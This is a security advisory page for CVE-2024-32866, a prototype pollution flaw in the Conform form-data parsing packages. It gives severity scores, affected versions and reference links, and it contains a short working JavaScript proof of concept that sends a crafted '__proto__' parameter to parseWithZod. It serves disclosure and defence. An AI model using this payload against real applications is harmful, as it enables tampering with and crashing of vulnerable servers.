8.6 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
8.5 High
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
15.7%
Conform allows the parsing of nested objects in the form of object.property
. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to parseWith...
functions.
const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod");
const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });
parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"
The invocation of the parseWithZod
function in the above PoC triggers the setValue
function through getSubmissionContext
and parse
, executing the following process, resulting in prototype pollution:
let pointer = value;
pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;
pointer.polluted = "polluted";
This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of pointer[key]
without proper validation.
Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.
CPE | Name | Operator | Version |
---|---|---|---|
@conform-to/dom | lt | 0.9.2 | |
@conform-to/yup | lt | 0.9.2 | |
@conform-to/zod | lt | 0.9.2 | |
@conform-to/yup | le | 1.1.0 | |
@conform-to/zod | le | 1.1.0 | |
@conform-to/dom | le | 1.1.0 |
github.com/advisories/GHSA-624g-8qjg-8qxf
github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117
github.com/edmundhung/conform/commit/4819d51b5a53fd5486fc85c17cdc148eb160e3de
github.com/edmundhung/conform/commit/cb604dd58b99e2d12716d901a23bfca724e741ef
github.com/edmundhung/conform/security/advisories/GHSA-624g-8qjg-8qxf
nvd.nist.gov/vuln/detail/CVE-2024-32866
8.6 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
8.5 High
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
15.7%